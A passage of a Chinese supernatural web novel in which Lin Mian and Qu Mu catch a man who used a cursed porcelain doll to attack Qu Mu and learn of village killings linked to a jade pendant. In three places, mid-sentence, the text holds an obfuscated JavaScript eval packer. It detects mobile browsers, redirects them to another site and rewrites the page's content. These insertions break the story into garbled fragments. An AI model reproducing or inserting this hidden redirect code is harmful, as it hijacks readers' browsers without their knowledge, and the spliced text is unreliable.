林眠看着自己盘子里的东西,还没吃到三分之一。他是不想和自己在一起吃饭吗?林眠想着。 “我就几天不在,你们就当我死了啊?” 瞿木的声音传来,林眠动了动耳朵,探头看去,见瞿木正在打电话。 “没空,这几天我还有事情要办,你们帮我办件事啊。”瞿木说完,挂了电话,对着手机一顿打字操作。 林眠吃完饭,就把桌子收拾了。 她刚从厨房出来,就见瞿木已经穿戴整齐。 “你要换身衣服吗?”瞿木问。 林眠看了看自己身上穿的,白T配牛仔裤,摇了摇头。 “那就出门吧。”瞿木二话不说,拉着林眠出去了。 林眠满头雾水的上了车,坐在副驾驶的位置,听着瞿木在絮絮叨叨的说着: “我就不信这一切都是我的错觉。” “什么?”林眠不解地问。 瞿木看了一眼林眠,“卫叔应该和你说了,我当时晕倒是因为后脑勺挨了一棍,进医院的时候都要做手术了,但奇迹般的好了。” “哦,这个我知道。”林眠点头,“所以你要去做什么?” “找出凶手啊,我倒是要看看是谁用些歪门邪道来害我。”瞿木一脚油门下去,将车子驶出地下停车场。 他经历了自己身上的怪事后,越发觉得自己的后脑勺肯定被狠狠敲了一棍。 “你怎么找啊?”林眠听着,有些好奇地问,那天她看的清清楚楚,瞿木的身后都没有人,即使是鬼,现在也找不到了吧? “这不是有你么?林大师。”瞿木挑眉说道。 林眠:…… 来到瞿木出事的那条街上,林眠蹲在一旁,看着瞿木在他出事的地方来回踱步,上蹦下跳。 “林大师,你有没有什么发现?”瞿木试了十几分钟,一点反应都没有。 林眠看着瞿木,又看了看外面的太阳,说:“即使是鬼,那也不能一直在这里吧?而且,你看太阳多大啊。” 哪有鬼会在正午的时候出现啊?林眠突然觉得,这位大少爷...有点...笨。 瞿木张了张嘴,眯着眼抬头看了一下,也有些丧气地走到林眠前面。 “林大师,那我们晚上再来?凌晨12点?” 林眠抬起眼,看着瞿木,认真道:“重点是,这只鬼是被困在这吗?你怎么知道它一直在这儿?” “那去哪里找?”瞿木泄气,他昨晚睡的舒服了,今天就有劲了,因此才决定出来一探究竟,究竟是什么鬼东西想害自己。 “世界上哪有鬼?”林眠站起身,拍拍屁股说。 她看了看周围,扭头一看,看到橱窗处折射出自己和瞿木的模样来,便比了个手势,半开玩笑地说:“你知道吗?镜子是最会显灵的。” “就像什么晚上不能照镜子,镜子不能对着床啊之类的。你看,这里到处都是镜子,我看啊,你估计是那会儿撞邪了。” 瞿木看着林眠对着橱窗做鬼脸,听了她的话后,也忍不住认真地端详着这面橱窗,这里是家服饰店,橱窗里摆着假人模特,城里到处都是这样的店。 特别是旁边还有个人对着镜子扮鬼脸、摆动作,他实在看不出来这里的玻璃有啥诡异之处。 “已经中午了,该吃饭了吧?”林眠本意是想逗逗瞿木,看着瞿木这么认真的模样,她就觉得好玩。不过,到点吃饭了,还是吃饭比较重要,她殷勤地看向瞿木。 自己在汉堡店离职,结清了工资也只有一千来块钱。在这里,她又是第一天上班,自然没有提前发工资给她。 瞿木倒没多想,也差不多到正午,是该吃饭了。 “走吧,带你去吃好吃的。”瞿木大手一挥,直接带着林眠走进一旁的大商场处。 找了家日料店坐了下来,瞿木就让林眠自己点餐,他刚刚手机振动了一下,是好友赵阳博发来的消息。 【赵阳博:我已经努力了,调查 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13461825|141761||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了接近十年的凶死案,棉春路虽然死了不少人,那都是出车祸,更加没有拿着棍子死的】 【赵阳博:我的哥,你该真不会是得癔症了吧?我可听说你去精神病挂号了】 瞿木烦躁的将手机放下。 林眠已经开心地点了好多,她见瞿木放下手机,便对他说:“我点好了,你买一下单吧。” “吃完再买不行?”瞿木反问,这大师还真是...在山里待久了吧。他在网上搜过盖山,一点消息都搜不到,要不是地图上能搜出这个地方,他都怀疑没有盖山村了。 林眠不太懂,但很快反应过来,这里吃饭是吃完再买单的?她已经习惯了一手交钱一手交货了。 “你好像不太开心。”林眠说。她发现瞿木一不开心,就表现的很明显。 “我在想,我平时好事做了不少,也没得罪人,更加不能得罪鬼,可我这后脑勺...”瞿木说着摸了摸后脑勺,他的身体还记得当时的感觉。 “我让人查了这十年来的枉死在这条路上的人,都没有拿棍子的啊。” 林眠耸耸肩,实在忍不住说:“我都说了,世界上没有鬼,你这个年代的人,不要这么封建迷信。” 瞿木看着林眠,有些无语,那没有鬼,什么东西能悄无声息的砸自己的脑袋?还有她林大师是怎么被聘用的? “上菜了!”林眠丝毫没注意到瞿木的表情,满心只有刚刚服务员端上来的菜品。 林眠第一次吃日料,都认认真真的拍了照,并一一做了点评,只有瞿木唉声叹气、胃口毫无。 吃完午饭后,瞿木付了钱,两人在商场处逛了逛。 瞿木看着商场里到处可见的橱柜,又抬头看向周围的摄像头,说:“这鬼要是能被摄像头拍到就好了。” “不要封建迷信。”林眠回应的很快,“大家都说晚上不能照镜子,会看到鬼,可现在大家晚上都照镜子,也没事啊。” 说完,林眠就进了一家店,逛了起来。 瞿木听了林眠的话,若有所思了起来。鬼能透过镜子看到?虽然小时候爷爷也这么说过,可长这么大,谁也没见过啊。 不过,这城市中,最不缺的就是玻璃了。 瞿木连忙拿出手机,给卫叔发消息。 没几分钟,卫叔就发来了一个视频。 瞿木点开视频,认真地看了好几遍。这段视频他之前也看过,但总感觉漏掉了什么,他得再看看。 “镜子镜子。”瞿木嘴里念念有词,这回他没有看自己怎么倒下,而是仔细地看着周围能当镜子的物体。 看了好几遍后,他才发现左下角处,有一张模糊的人脸,手上正拿着一根粗壮的铁棍,可地面上并没有这样的人在。 瞿木看了,心里一惊,感觉周围温度都下降了好几度。他稳了稳心神,调慢了倍速,再仔细的重新看一遍那一面镜子处。 很模糊,但能看出轮廓来。 林眠逛了一圈出来,见瞿木杵在那里一动不动,刚想上前叫他,走一步却感觉不太对,商场内没风,自己的头发却被吹起来了。 她抬起头看去,瞿木的身后正有一个面目狰狞的人,拿着一根铁棍,直直地朝瞿木的脑袋砸去。 “躲开!”林眠大喊,朝着瞿木跑去。 瞿木从手机上移开视线,整个人如有千般重一样,腿根本挪不了一点。他眼睁睁看着林眠冲上来,挡在自己的身后。 5. 瓷娃娃 持铁棍之人还是直愣愣地朝着固定的方向将铁棍砸下去。 林眠觉得自己的脑袋要开花了,她下意识闭上眼睛,但等了许久,预想中的疼痛感没有传来。 她悄悄睁开一只眼,只见那手持铁棍之人呆滞着,面目狰狞,想要使出浑身的力气,但不知怎么的,就是没下来手。 瞿木反应过来,连忙拉开林眠,退到后面去。 周围逛商场的人,都八卦的看过来,这两个人从刚才开始就奇奇怪怪的,难道是什么艺术表演? “你没事吧?”瞿木刚刚是背对着鬼魂的,也不知道这铁棍砸下来没有,下意识的去摸林眠的后脑勺处。 林眠推开瞿木的手,说:“我没事。” 她看向刚刚所站之处,那个手持铁棍的鬼魂还在那里,双手已经放下,直愣愣地看着林眠,一动不动。 “它还在吗?”瞿木小声问。他看不见鬼魂,知道自己身后出现鬼魂还是因为手机暗了一下,折射出身后的鬼魂。 林眠没接话,只是看着那个诡异的“鬼魂”,大约过了十几秒,那“鬼魂”突然剧烈地挣扎了起来,伴随着“嘭呲”一声。 “啊,这个娃娃怎么碎了?” “咦,不对啊,我们这什么时候会有这种瓷娃娃?” “可能是顾客不小心落在这里的吧。” 林眠看过去,旁边的店铺店员正在惊讶突然倒在地上的碎片,并拿来扫把准备打扫,嘴上讨论着。 瞿木还一头雾水,拉着林眠问:“还在吗?” “死了。”林眠回答。 “啊?”瞿木瞪大了双眼,“大师,你都还没出手,它就被你吓死了?” 他突然对林眠肃然起敬了,是真的有点本事啊。 林眠看向瞿木,有些无语,“它就不是鬼,是那个瓷娃娃。” 她指向店铺地上的一地碎片,想了想说:“是有人用术式操控了这个瓷娃娃,想要杀了你,但是...操控之人肯定在这附近。” 林眠突然想到什么,对瞿木说:“而且娃娃已碎,他必然会受到反噬,我们快去附近找找。” “啊?”瞿木愣了下神,是有人想要害他?但他很快反应过来,跟着林眠往前跑。 林眠也不知道自己是怎么了,但是脑海中就是有个很强烈的预感,告诉自己,这个操控娃娃的人,就在附近,并且凭着感觉,她能猜测到大概的方位。 瞿木跟在林眠身旁,跟着她一直往前跑,直到下了扶手电梯,爬了楼梯,出到了商场外面。 “这人遭到反噬了,还这么能跑啊?”瞿木忍不住抱怨道。 林眠也累得够呛,此刻她没心情跟瞿木说话,凭着感觉走进一旁的小巷子处。 钻进小巷子,到了一处没什么人的地方,林眠看着前面的人停了下来,佝偻着背。她才停了下来,喘着气说:“你终于不跑了。” 瞿木在后面赶来,看到前面有个人,林眠也停下来了,顿时明白了,便气鼓鼓地走上去,质问他说:“你是谁啊?为什么想害我?是不是有人花钱雇你?” “你要钱直接跟我要不行?谁啊?” 佝偻着背的人转过身来,一双眼凌厉地盯着瞿木,冷声说:“你以为人人都稀罕你的那些脏钱?” 瞿木被他吓了一跳,明明看起来有六七十岁的模样,但声音听起来只有三十来岁的感觉。而且,他凭什么说自己的钱脏啊? “那你说,我和你有什么仇?”瞿木仗着林眠在,大胆了不少,毕竟他刚刚亲眼见识了林眠的能力。 林眠在旁边叉着腰喘气,听着瞿木审问。她现在觉得自己这五万块钱赚的也不容易啊,看来瞿木身上不仅仅是菌丝的问题,他还有仇家啊。 老头没说话,只是看向一旁的林眠,皱了一下眉。 “看她做什么?别以为你年纪大,我就尊老爱幼不报警了。”瞿木说着,就作势拿起手机,准备报警。 “诶!”林眠突然出声。 只见这位老人家突然倒在地上,吐了一地的血。 瞿木刚刚摁下的“110”三个数字,现在只能改成“120”了。 医院处。 林眠坐在一旁,做着眼保健操,做完之后又捏捏自己的手臂。 瞿木则在一旁仔细地想着,自己有没有得罪谁,怎么想都没有,而且那个人还提到了脏钱? 这也不对啊,觉得瞿家的钱不干净,那就去找瞿华平啊,找自己干嘛啊? 现在瞿家的掌权人是瞿木的父亲,瞿华平。 “这么久还没醒么?”瞿木等的有些不耐烦了,医生说没什么大事,打点营养液就好了,但这都两三个小时了。 他说完低下头,正好和林眠对视上,一想到在商场里林眠舍身救自己,不由来一阵感动,也为自己感到惭愧,那时他被吓得没了神。 “进去看看。”瞿木收回视线,有些不好意思地说道。 “哦。”林眠刚刚也在发呆,她还在回忆在商场里的感觉,那种很强烈、暗示自己的感觉。 进了病房内,瞿木一掀开帘子,发现病床上空空如也。 “我草,跑了!” 林眠看着窗户打开,走到窗户处看了看,人早就没了踪迹。 “林大师,你快找找。”瞿木说,今天下午就是林眠找到这个叫林嘉明的人。 林眠摇头,“没有感觉了,找不到。” “啊?”瞿木瞪大了双眼,顿时无语了,原来这事要靠感觉的吗?算了,找鬼他不会,但是找活生生的人,他有的是办法。 林眠看瞿木突然拿起手机,打了个电话,然后带着自己离开了病房,往外走。 走到医院大厅的时候,瞿木嘴里还在抱怨:“他的医药费还是我付的,结果人跑了!” “瞿木,”林眠突然叫了声瞿木,在瞿木充满期待的目光,她指着医院大厅的钟表,略点委婉地说:“已经过了吃晚饭的时间了。” 瞿木的期待落空了,他还以为林眠有什么好主意好办法,没想法她竟然惦记着还没吃晚饭这事。 他妥协了。 “也不着急这一时了,去吃饭吧。” “好。”林眠顿时有了笑容,问:“去哪儿吃啊?” 瞿木想了想,决定带林眠去自家开的餐厅吃饭。 路上,他开着车,时不时偷瞄了几眼林眠。 “你有话要说吗?”林眠对周围的视线特别敏感,自然察觉到瞿木的目光。 瞿木不好意思的收回视线,装作随意的模样,语气轻松中夹杂着一丝紧张,说:“今天下午,谢谢你啊。” “哦,不用,你毕竟要给我钱的。”林眠诚实地说。 瞿木:话虽如此,但也不能这么直白吧。 “这是你第二次救我了。”瞿木突然说。 “啊?”林眠不解。 瞿木现在脑子冷静下来了,和她解释说:“之前是菌丝救了我,而这菌丝应该是你给我的。” 林眠呆了,原来他知道这菌丝是自己传染给他的啊?那他还花这么多的钱雇自己... 不过... “你…怎么会觉得是菌丝救了你?” “这个事说来也奇怪,卫叔没告诉你,也是有我们的考虑。”瞿木想到今天林眠舍身救自己,觉得自己之前也有些过分,便说: “我之前一睡下就会梦到菌丝,全身还长满了蘑菇,最开始我以为是自己精神恍惚了,或者得了什么病,就去医院挂号,什么科都挂过了,都没什么效果。 “后面,家里突然收到一封信,上面写着我在那一次后脑勺后受击的时候就应该死了,是菌丝救了我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13461826|141761||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。信里还夹了一张纸,也就是卫叔拿给你看的那一张。” 林眠这才明白,原来那一天卫叔找自己,还给自己看了那一张资料表,是想看看自己的反应,确认是不是自己送的。 “但我一闭上眼,身体就会长出菌丝,并且从脚部开始长出一颗颗小蘑菇,出于无奈之下,我们就去找了你。 “起初,我认为这封信是你送来的,目的就是为了从我这要钱,可是后来,我认为送这封信的不是你。今天的事也侧面说明了,如果没有这菌丝,我可能真的就死了。”瞿木眼神突然变得尖锐了起来,有人想要杀他,这一点已经确认了。 那上一次对方得逞了,自己没有死,还毫发无损,说不定真是这菌丝的作用。 林眠语塞,那这一切未免有些太凑巧了,那一天是她刚好到北城,刚好又累了,在瞿木出事的附近坐了下来。 …… 这几天,林眠和瞿木都没出门,都待在家中。 瞿木整日健身,打游戏,无聊时和朋友们打电话聊天,虽然是在家,但日子也算过得多姿多彩。 相比之下,林眠就要单纯的多了。 她这几天都在仔细学习各种家电的用法,什么智能家居之类的电子设备。这些东西在盖山村是见不着的。 “你们城里人真懒。” 躺在沙发上的瞿木投来一个视线,看着林眠,等着她的下一句话。 “扫地都不愿意扫,还发明了这个东西。”林眠指着地上动来动去的扫地机器人。 “这叫科技改变生活。”瞿木懒洋洋回答道。他现在已经习惯林眠的语出惊人了,毕竟大师来自山里,他总要谅解一下。 关于这点,林眠颇为认同。 “有消息了。”瞿木突然从沙发上起来。 林眠歪着头看瞿木。 “秦大师找到了那林嘉明。” 林眠第一反应就是,瞿木除了自己,竟然还有别的风水大师。 这份工作还有竞争对手啊!林眠顿时有了危机感。 “愣着干嘛?快走。”瞿木催促道。这些天他和林眠没出家门,就是为了等秦宁的追踪信息。 林眠坐上瞿木的车,看着车子驶在马路上,她好奇地问:“那位秦大师是谁?” “他叫秦宁,家里祖祖辈辈都是搞风水的,我们家都很信任他,看风水什么的,都是找的他。”瞿木解释道,“不过他没你厉害啊,那个菌丝的事他就搞不定。” “哦,那他还会找人啊?”林眠说。 “会是会,就是找的太慢了,整整花了三天。”瞿木不屑道,依他看来,这什么秦大师就是在自己家混吃混喝罢了,找个人都得花三天,自己让卫叔找,都差不多这个时日。 “噶”的一声,车子突然停了下来。 林眠看了看路边,昏暗的黄色灯光,路边摆了许多小吃摊,这个点很多人在路边的小摊处吃东西,吵闹嘈杂。 “开不进去了,就在这儿下车吧。”瞿木看了眼导航,这里是城中村,车子不好拐进去,且人多,不如步行来得快。 “哦。”林眠解下安全带,下了车,嗅了嗅空气中浑浊的气味,不由得捂住嘴鼻,这空气中弥漫着酒味、烧烤味、还有…一些乱七八糟的味道。 比她的下水道还有味! 瞿木比林眠的反应更大,直接弯起腰反胃了起来,还是林眠扶着他,带着他往前走,走到远离人员密集处,瞿木才敢呼吸一口新鲜的空气。 “这都是什么味啊!”瞿木吐槽道。 但现在当务之急是找人,他看着手机上的导航,说:“往这一边。” 两人穿过几个阴暗潮湿的小巷子,走到一处大约五层楼的房屋处,看着一楼有个房间发出幽暗的灯光。 林眠和瞿木对视一眼,蹑手蹑脚地走上前。 6. 养小鬼 出租屋内,林嘉明正躺在木质长椅上,闭着眼。他以为这一次一定会成功,没想到又出了问题。 这一切都是因为那个女的,第一次的时候,她在;第二次,她也在,这一次还把娃娃给振碎了,弄得他遭了反噬。 她究竟是什么人? “哐当”一声,门被直接打开了。 林眠出现在门口,她手上还拿着刚刚拿下来的门把手,不好意思地说:“这门太烂了,我就轻轻一扭,就掉了下来...” 刚刚她和瞿木分配任务,自己负责门口,瞿木负责窗户那边,来个瓮中抓鳖。 只是...她还什么都没干,这门把手就坏了。 林嘉明看着林眠,呼吸都急促了一些。 这时,瞿木从窗户处跳了进来,说:“你就别想走了。” 这里很狭窄,屋内就摆了一张单人床,旁边有张木质长椅,就什么也没有了。 林嘉明看着他们两个,自知论术式比不过面前这个女生,论武力他也打不过瞿木,只好坐回长椅处,看着他们一言不发。 “说话,为什么要害我?”瞿木见他没抵抗,用眼神示意了一下林眠,自己则主动走上前问话。 “那是因为你们瞿家活该。”林嘉明垂着头,一字一句说道。 林眠站在旁边,看看林嘉明,又看看瞿木,做好了吃瓜的准备。 “你以为你们瞿家凭什么这么有钱,用的都是歪门邪道,谋人性命!”林嘉明有些激动,说话的时候,浑浊的眼珠子一直盯着瞿木。 瞿木被他盯得心里发毛,往后退了一步。 “你不要信口喷人啊,我们瞿家经常做慈善,而且杀人犯法。”瞿木不服气地说,即使家里是有些生意不太干净,但什么谋人性命,他是不信的。 “呵。” 林嘉明冷笑一声,看着瞿木说:“你爷爷瞿如清,以前是地主,在1966年时,村里第一个抄的就是你们家。” “所以钱财、金银珠宝均被收走了,瞿如清后面外出做生意,他身上分文没有,哪来的钱让他做生意?” “你!”瞿木不知道该怎么说,只知道最开始是去南方经商,“那我爷爷去南方,赚到了第一桶金不行啊?” “第一桶金?”林嘉明嘴角勾了勾,“他外出两年,回来的时候身无分文,还是村民给了他一口饭吃。” “你知道他回来的第二天发生了什么事吗?” 瞿木被他这阴森的目光看的浑身发毛,主动拉过一旁吃瓜的林眠,让她站在自己面前,嘟囔着说:“我怕他对我下咒,总感觉瘆得慌。” 林眠无奈,苦口婆心对他说:“现在到了晚上就降温,你不要想太多。” 林嘉明看了眼林眠,也没想着掩饰自己,接着说:“第二天,村里就死了一个人。” “一个十分年轻的小伙子,被开膛破肚,弃尸在玉米地处。” “死了个人也不能说明什么嘛。”林眠说道,“而且,这人和瞿木爷爷有关吗?” “如果只是一个,我也就不会怀疑到他身上了。”林嘉明深呼了一口气,“接下来的半个月里,村子里死了八个人。” “弄得人心惶惶,警察来了也束手无策。” “我的弟弟,才八岁,也死了。”林嘉明说这话的时候,脸上又狰狞了起来,恶狠狠地盯着瞿木看。 “为了找到杀害弟弟的真凶,我晚上就在村子里蹲守,你们知道我看到了什么?” 瞿木咽了口口水,“看到了什么?” “看到了你爷爷,瞿如清。”林嘉明声音拔高,语速加快,“我亲眼所见,深更半夜,他走在小路上,他的身后出现了一个巨大的黑影,张牙舞爪。” “我本想把这件事告诉警察,可警察说没有证据,不逮捕瞿如清,瞿如清被警察放了后,当天就离开了村子。 “之后,村子里再也没有死人出现了。” 瞿木听了,稳了稳心神,反驳说:“这都是你一面之词,我爷爷宅心仁厚,一辈子都在做慈善,怎么可能杀人?而且你看的那个黑影,怕不是你大晚上的,看错了。” 林嘉明冷笑,“是吗?那你们瞿家本来就是村子里的土生土长的,既然发达了,为什么瞿如清从不带你们回来看看?” 还不等瞿木回答,林嘉明就说了:“那是因为瞿如清他不敢回来!” 关于这一点,瞿木还真不知道怎么说,爷爷确实从没提过老家的事。 “那个黑影你认为是什么?”林眠问,比起瞿爷爷回不回老家,她更在意黑影的事情,而且林嘉明也没说清楚这一部分的事。 林嘉明撇过头,神情有一丝犹豫,但看了眼一无所知的瞿木,他讽刺道:“瞿如清离开村子后,短短几年就飞黄腾达,生意越做越大。” “我后面再次见到他的时候,他身后的黑影却更大了。” 林眠听的很认真。 一旁的瞿木皱了皱眉,他自小跟着爷爷一起长大,从没看到什么黑影。 “那黑影定然是鬼!” 林嘉明突然大喊出声,把林眠和瞿木都吓了一跳。 “你胡说什么,按照你的说法,我怎么从来没见过这只鬼?”瞿木被吓了一跳,感觉心脏都跳的有些快了。 “那是因为这只鬼是你爷爷养的小鬼,你们瞿家靠着养小鬼,积累财富,从而罔顾他人性命! “瞿如清年纪大后,就将这只小鬼托付给你了。” 林嘉明说着,眼神幽幽地盯着瞿木的胸口处,“只要将你杀死,就能够把这只害人的小鬼也杀了!” “你...你...”瞿木说不出个所以然来,“胡说八道!” 林眠也好奇地盯着瞿木看,瞿木身上有小鬼? “你们两个别看了,我身上哪有鬼啊!”瞿木说完,又感觉自己浑身都不自在了,爷爷从没在自己面前提过一个“鬼”字。 “我也没看到啊。”林眠看了看,从瞿木身上收回视线,看向林嘉明。 林嘉明却垂下了眼眸,摇摇头,嘲笑地说:“我一直以为这小鬼就养在这玉佩中,可这些时日,我发现,这小鬼不在这玉佩中了。” 这也是他近距离接触瞿木后,才得出的结论。 “玉佩?”瞿木愣了愣,下意识抓住挂在胸口上的玉佩,随后又意识到什么,把玉佩从衣服底下拿出来。 这是一块通体是绿色、大约只有3厘米长度的小玉佩,虽然小,但上面雕刻的花纹十分的精致,更让人在意的是,玉佩外面镶了一层银色的东西,但看质感不像是白银,更像是木的质感。 “就是这一块玉佩。”林嘉明开口说,“我离开村子后,见过瞿如清一次,那一次他面色慌张,手上就拿着这一块玉佩,我当时看的清清楚楚,那个巨大的黑影就是从这玉佩上出来的。” 瞿木看着玉佩,缓慢开口:“这玉佩确实是爷爷给我的。” “但这玉佩中的小鬼已经消失了,那道黑影已经离开了这玉佩。”林嘉明做出判断。他见过玉佩后,就跟了一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13461827|141761||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 位道士修行,也习的了一些术式,自然能够判断这玉佩还有没有小鬼。 此话一出,瞿木也不知道该说些什么了。 林嘉明这次也没准备伤害瞿木了,既然已经确认这玉佩邪性不在了,那他的复仇对象也就不是瞿木了。 倒是瞿木身旁的这位小姑娘... “小姑娘,你师承何处?”林嘉明问。 “师父?我没有。”林眠几乎是脱口而出。 林嘉明也没接着往下问,作势躺下,说要睡觉了。 林眠和瞿木也没为难他,两个人就一起离开了。 走在路上的时候,瞿木有些心不在焉。 “世界上哪来的鬼?他说你爷爷养小鬼就真的养了?”林眠拍了拍瞿木的背,说道。 “没有鬼,那是什么?”瞿木丧气的问,“我身上的菌丝不是鬼,想杀我的人利用的不是鬼,是一个瓷器娃娃,那这玉佩里的黑影是什么?” 这个林眠也没办法回答,她又没见过那黑影,但还是重复自己的话:“相信我,我从来就没见过鬼。” 瞿木也不知道林眠是安慰自己,还是觉得真没鬼,一个玄学大师不相信鬼...怎么想都让人觉得好笑。 但也托林眠的福,他的心情没那么差了。 “回家吧,时间不早了。”瞿木说道。 回到瞿木家里,林眠洗了个舒服的澡,趴在床上,本来想睡觉,可是想到今天还没上游戏,就强撑着睡意,点开了游戏。 林眠从盖山村来到北城的时候,就花钱买了一部手机,至于这个游戏,是她不小心点广告的时候下载的。 她点开好友列表,里面只有一个好友,不过他现在没在线,上一次在线已经是一天前了。 林眠把日常做了一下,就撑不住了,眼睛一闭直接睡着了。 第二天她醒来的时候,一打开房门,摸索着走到客厅处,准备去厨房找吃的,谁知道瞿木已经坐在沙发上了。 “你起这么早啊。”林眠瞌睡虫醒了一半,打开冰箱看了看,拿了瓶牛奶出来喝。 瞿木看了眼林眠,他基本上一夜没睡,满脑子都是林嘉明的话。可爷爷现在不在北城,自己该怎么问比较好。 想了一夜,瞿木还是打了个视频通话过去。 “诶,木木怎么打电话给我了?想爷爷了?” 电话对头传来了爽朗的笑声,瞿木也嘴甜,爷孙两就开始了互夸模式,等到瞿木觉得差不多了,想问爷爷关于林嘉明说的事时,谁料爷爷直接问他: “我让你去接的小姑娘,接回来了吗?” 瞿木直接呆住了。 还真有个小姑娘让自己去接啊? “你爸是个不中用的,我让他去接人,他给我跑国外去了。”瞿如清叹了口气,他算了算日子,应该就是这两个月了。 瞿木想到自己老爸打电话过来的时候,说的话,顿时心凉了半截,真有这么一个故人的孩子啊? “还没,我马上就去接啊,在哪里?叫什么名字?” 瞿如清想了想,说:“具体日期我也不知道,我那位故人古怪得很,说什么小姑娘会自己来的。” “不是,连个地点都没有,怎么接啊?”瞿木也摸不着头脑了,他不能虚空接人啊。 “她叫林眠,你去找找。”瞿如清只能这么说,别的信息他也不知道啊。 此话一出,瞿木沉默了,他看向一旁还在喝牛奶的林眠。 林眠撇开头,不去看瞿木。 7. 银木 瞿木挂了电话,走到林眠面前,见她眼神闪躲,心里就猜到几分了。 “你知道我是谁对不对?” 林眠瞥了一眼瞿木,小声解释:“最开始不知道,是后面知道你爷爷的名字后,才知道的。” “那你不说!”瞿木深呼吸一口气,突然想起自己那天打电话的事,那会儿林眠就在一旁。 她都听到了? “我奶奶让我找的是瞿爷爷,可是他现在不在北城,我就...”林眠绞尽脑汁想着怎么解释,实际上她就是因为瞿木的那番话罢了。 “电话号码没有?来了没打电话?”瞿木问,刚刚爷爷也没有说什么联系方式,还只知道个名字,那林眠按道理应该有联系方式。 “我之前没有手机。”林眠拿出手机说,“这部手机是我刚到北城的时候买的,也就是你在马路上晕倒的那一天。” 瞿木:…… “我们以前打电话都是去村子里的小卖部打的。”林眠说着,连忙从房间里拿出那张纸条,“你看,纸条弄湿了,字迹就看不到了。” 瞿木看着纸条上一团模糊的黑色墨迹,只有最尾处有一个数字能看得清楚。 是个“5”,自家那栋大宅的的房号就是5。 “行吧。”瞿木已经没有精力去想这些事了,直接指着纸条上的地址,问她:“你要去这里住吗?” “不过我爸妈最近都去国外了,爷爷也不在北城。” 之前林眠是自己请的风水大师,现在她是爷爷故交的孙女,怎么也是客人。 “不去了,我在这住的挺好的。”林眠笑着说,说完又去厨房找吃的了。 瞿木也只好随她了,之后打了个电话给爷爷,和他说人接到了。现在林眠的事情解决了,那就还有这块玉佩的事了。 “爷爷,我昨天见到了一个人。”瞿木把昨天的事大致和瞿如清说了一遍。 “这件事情在电话里面说不清楚,但你要相信,我们瞿家绝对没有走这些歪门邪道,至于村子里死的那个8个人... “我...唉...”老爷子说着叹了口气,“你去找秦宁,他会和你解释的。” “我累了,就先不说了。” 瞿木握着玉佩,点了点头,把电话挂了。 “瞿木,你要吃香蕉吗?”林眠说着,从冰箱里拿出一把香蕉,递到瞿木的面前。 瞿木抿着唇,“今天阿姨请假了,所以没做早餐,我给你点外卖吧。” “不用,冰箱里很多吃的。”林眠拿了一根香蕉吃了起来,“等中午你再给我点外卖吧。” 瞿木:原来在这等着我。 “行,我刚刚问了爷爷关于玉佩的事,爷爷让我找秦大师。”瞿木说着,打开手机,给秦宁发消息。 林眠吃着香蕉,点点头。昨天能找到林嘉明,还多亏了这个秦大师。 秦宁是下午的时候来到瞿木家的。 林眠开门的时候,看到这个被称为秦大师的人,有些吃惊。 秦宁看着也才二十出头,穿了一身改良版的圆领长袖袍子,在这30度高温的天气里,显得有些不太适宜。 “你好。”秦宁对着林眠点了点头,眼里也多了几分探究。 “你来了,快进来。”瞿木看了眼秦宁,抽了抽嘴角,这么热的天气,还天天穿着他那一身裹得严严实实的衣服。 “这是林眠,这是秦宁。”瞿木很简单的介绍了一下。 秦宁朝林眠点点头,“秦某早就听闻林小姐的大名,不知秦小姐是如何解决这菌丝的问题?又或者,这菌丝叫什么名字?” 他之前就来给瞿木看过,只是这菌丝既不像是某种咒术、也没有术式的来源,那就只能是妖物。 可除妖物的法子他都用了一遍,也没能成功。 究其原因,还是因为不知道这妖物叫什么名字,没有溯源,就没有办法彻底解决。 林眠看了眼瞿木,这该怎么回答?刚刚秦宁提到了妖物,他认为菌丝是妖物,这菌丝是从自己身上出去的... “这不重要,我现在好了,我让你来是为了让你看这个。”瞿木出来解围,他将胸口上的玉佩取下来,递给秦宁看。 “你肯定见过这玉佩,我问了爷爷,他让我来问你。”瞿木又把昨天的事说了一遍。 秦宁看着玉佩,说:“那人说错了,这玉佩里根本没有小鬼。 “但这块玉佩确实和那八个人的死脱不了干系。” “啊?”瞿木原本刚刚放下的心,立马又悬了起来,“不是,这什么意思啊?” “我来到瞿家,也是为了调查这。”秦宁用手摸了摸玉佩镶边出的银色物体,“准确来说,不是玉佩,而是银木。” “银木?”瞿木和林眠异口同声。 “嗯,这玉佩只是普通的玉,林嘉明所见的也没有错,只是他口中的小鬼,是这银木的邪性。 “我们秦家,几辈人都一直在查找、追踪这银木,意图就是想把这邪性除了,还天下一个安宁。”秦宁说的很认真,眉眼间正气盎然。 瞿木听得有些懵,怎么突然从玉佩转到这镶边的边角料了? 